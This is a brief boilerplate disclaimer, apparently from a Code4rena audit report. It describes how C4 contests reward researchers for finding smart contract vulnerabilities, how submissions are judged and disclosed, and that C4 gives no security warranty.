C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top